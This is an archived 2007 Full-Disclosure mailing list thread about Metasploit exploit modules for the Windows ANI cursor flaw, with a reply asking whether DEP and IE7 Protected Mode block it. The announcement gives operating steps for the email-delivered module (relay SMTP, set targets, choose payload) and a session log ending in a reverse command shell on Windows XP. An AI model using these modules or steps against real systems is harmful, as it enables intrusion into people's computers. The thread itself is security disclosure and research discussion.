

# Re: [Full-disclosure] Metasploit vs ANI

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-04/msg00043.html>

---

- *From:* "George Ou" <[george\\_ou@xxxxxxxxxxxxxxxxxxxxx](mailto:george_ou@xxxxxxxxxxxxxxxxxxxxx)>
  - *Date:* Mon, 2 Apr 2007 00:29:13 -0700
- 

HD,

I realize that DEP is disabled for Explorer and the browser by default, but I have it enabled and enforced by hardware XD/NX and it stopped the Milw0rm PoC. Do you or anyone else have a PoC that can get around this type of fully-enabled hardware-enforced DEP?

I also realize that Protected Mode in IE7 does not prevent arbitrary code execution, but it does prevent that code from interacting with user or system files and it can't be persistent if that infected instance of IE7 is closed. From what I understand, owning the IE7 process in protected mode is bad in the sense that it lets you steal data from web pages or user input (such as password entry), but it doesn't let you capture keyboard input from other application or system processes. Am I missing something here or does someone out there have a PoC that can get around these limitations?

George

-----Original Message-----

From: full-disclosure-bounces@xxxxxxxxxxxxxxxxxxxxx

[<mailto:full-disclosure-bounces@xxxxxxxxxxxxxxxxxxxxx>] On Behalf Of H D Moore

Sent: Monday, April 02, 2007 12:03 AM

To: full-disclosure@xxxxxxxxxxxxxxxxxxxxx

Subject: [Full-disclosure] Metasploit vs ANI

Two new exploit modules are available for version 3.0 of the Metasploit Framework. These modules can be obtained by using the 'Online Update' feature in Windows and the 'svn update' command on Unix-like systems.

Matt Miller posted to the Metasploit Blog about our ANI efforts:

<http://blog.metasploit.com/>

The two exploits can be viewed in the svn repository at metasploit.com:

[http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/browser/ani\\_loadimage\\_chunksize.rb](http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/browser/ani_loadimage_chunksize.rb)

[http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/email/ani\\_loadimage\\_chunksize.rb](http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/email/ani_loadimage_chunksize.rb)

[http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/email/ani\\_loadimage\\_chunksize.rb](http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/email/ani_loadimage_chunksize.rb)

## Re: [Full-disclosure] Metasploit vs ANI

The first module exploits the ANI flaw through Internet Explorer. It uses multiple icon files referenced from a single HTML page. This allows client-side brute forcing without resorting to javascript. This module will execute code on Windows 2000, Windows XP, and Windows Vista using the default target. As mentioned in the blog, a command shell is not directly accessible on Vista, but the Meterpreter payload can be used to bust out of the low-privileged process :-)

The second module exploits the ANI flaw through Outlook and Outlook Express. It sends a multipart MIME e-mail that contains multiple icons files referenced from a HTML message. This allows brute forcing of the correct target via the mail reader, all without any form of client-side scripting. To use this module, point RHOST and RPORT at a SMTP server that will relay your email. Set the MAILFROM and MAILTO options, select a payload, launch the exploit, and wait for your payload to execute.

An example session from the e-mail based exploit module:

```
msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Connecting to SMTP server localhost:20025...
[*] SMTP: 220 slug.metasploit.com ESMTP
[*] SMTP: 250-slug.metasploit.com
250-PIPELINING
250-8BITMIME
250-AUTH LOGIN PLAIN CRAM-MD5
250 SIZE 0
[*] SMTP: 250 ok
[*] SMTP: 250 ok
[*] Sending the message (404759 bytes)...
[*] SMTP: 354 go ahead
[*] SMTP: 250 ok 1175497222 qp 12648
[*] Closing the connection...
[*] SMTP: 221 slug.metasploit.com
[*] Waiting for a payload session (backgrounding)...
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) >

[*] Command shell session 1 opened (192.168.0.127:4444 ->
192.168.0.127:37299)

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\program files\Outlook Express>
```

Enjoy!

Re: [Full-disclosure] Metasploit vs ANI

– The Metasploit Staff

---

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>

---

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>